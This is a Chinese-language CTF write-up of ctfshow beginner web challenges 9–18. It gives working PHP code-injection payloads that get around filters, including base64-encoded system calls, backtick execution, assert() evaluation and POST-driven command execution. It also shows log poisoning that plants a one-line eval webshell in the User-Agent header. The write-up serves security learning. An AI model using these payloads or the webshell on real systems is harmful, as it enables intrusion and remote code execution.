ctfshow 做题 萌新 模块(4)
——
web9
给出提示: flag in config.php 所以我们是需要得到 config.php 文件里的内容。 代码中有 preg_match 函数,一开始以为是对这些函数进行过滤,后面才发现 else 后面才是回显错误,所以是必须用上这些给出的函数。
传入
?c=highlight_file(‘config.php’);
或
?c=system(‘cat config.php’);
—— ——
web10
这题就是不能使用给出的这些函数。
使用 highlight_file()函数的别名 show_source() 函数得到 flag 。
还可以使用拆分函数字符的方法:
?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');
或
c=$a='highligh';$b='t_file';$d=$a.$b;$d('config.php');
—— ——
web11
这题还是不能用上给出的这些字符。
继续
?c=show_source(‘config.php’);
—— ——
web12
被过滤的字符又变多了。 过滤了字符点,文件名的字符也被过滤了。
收集常用的命令执行函数:
system() passthru() exec() shell_exec() popen() proc_open() pcntl_exec()
这里用到一个反引号,就是先将命令中反引号的命令先执行,再执行整条命令的结果。 传入: cat 字符中使用单引号或双引号或斜杆用于绕过 cat 被过滤。
?c=passthru("ca''t `ls`");
还有一个绕过过滤的方法,对被过滤的字符进行编码:
c=$a = base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);
c3lzdGVt 是 system 的 base64 编码,Y2F0IGNvbmZpZy5waHA= 是 cat config.php 的 base64 编码。
—— ——
web13
分号和字符 file 也被过滤了。
分号被过滤,我们无法对语句进行闭合了,选择用 ?> 对语句进行闭合。 前面一题的 payload :
?c=passthru("ca''t `ls`")?>
还可以用到一个函数 assert() , assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的响应。如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行。
?c=assert(base64_decode(%27c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp%27))?>
c3lzdGVtKCdjYXQgY29uZmlnLnBocCcp 是 system(‘config.php’) 的 base64 编码。
—— ——
web14
多过滤了一个括号的字符,就不能用命令执行的方法了。
这里用 get 和 post 结合传入参数。 先 GET 传入
?c=echo `$_POST[1]`?>
再进行 POST 传入
1=cat config.php
然后在 F12 源码中得到 flag 。 感觉做法有点类似于文件上传,即先传入一个可操作的参数,再用这个参数执行命令。
—— ——
web15
等号、尖括号、问号、星号也被过滤了,即不能用 ?> 代替分号,参数后面也不能用等号接传入的值。 不过分号可以使用了。
前一题的方法 get 传入:
?c=echo `$_POST[1]`;
post 传入:
1=cat config.php
—— ——
web16
代码告诉我们传入参数 c 。 满足 md5(“ctfshow$c”)===“a6f57ae38a22448c2f07f3f95f49c84e”) 即可回显 flag 。
md5 解密得到: ctfshow36d 即 c 的值为 36d
传入 ?c=36d 得到 flag 。
—— ——
web17
看到 include() 函数,可以判断这题用到文件包含的方法。
这题用到日志注入的方法,前面做过一题 web 模块中的 web4 也是用日志注入的方法。 尝试访问日志文件:
?c=/var/log/nginx/access.log
看到成功回显,说明可以运用这个方法。
把 User-Agent 的值改为一句话木马:
<?php @eval($_POST['a']);?>
然后用蚁剑连接。
html 文件夹里有个 36d.php 文件,打开里面的内容为 flag 。
—— ——
web18
额,多过滤了字符 file ,还是不影响用前面的方法。 不过应该有更简单的方法,只需要对参数 c 传入特定的值就能回显 flag 。(不知道文件包含中伪协议的方法可不可用)
先尝试 ?c=/var/log/nginx/access.log 有回显,抓包把 User-Agent 的值改为一句话木马,然后用蚁剑连接,打开文件 36d.php 得到 flag 。
|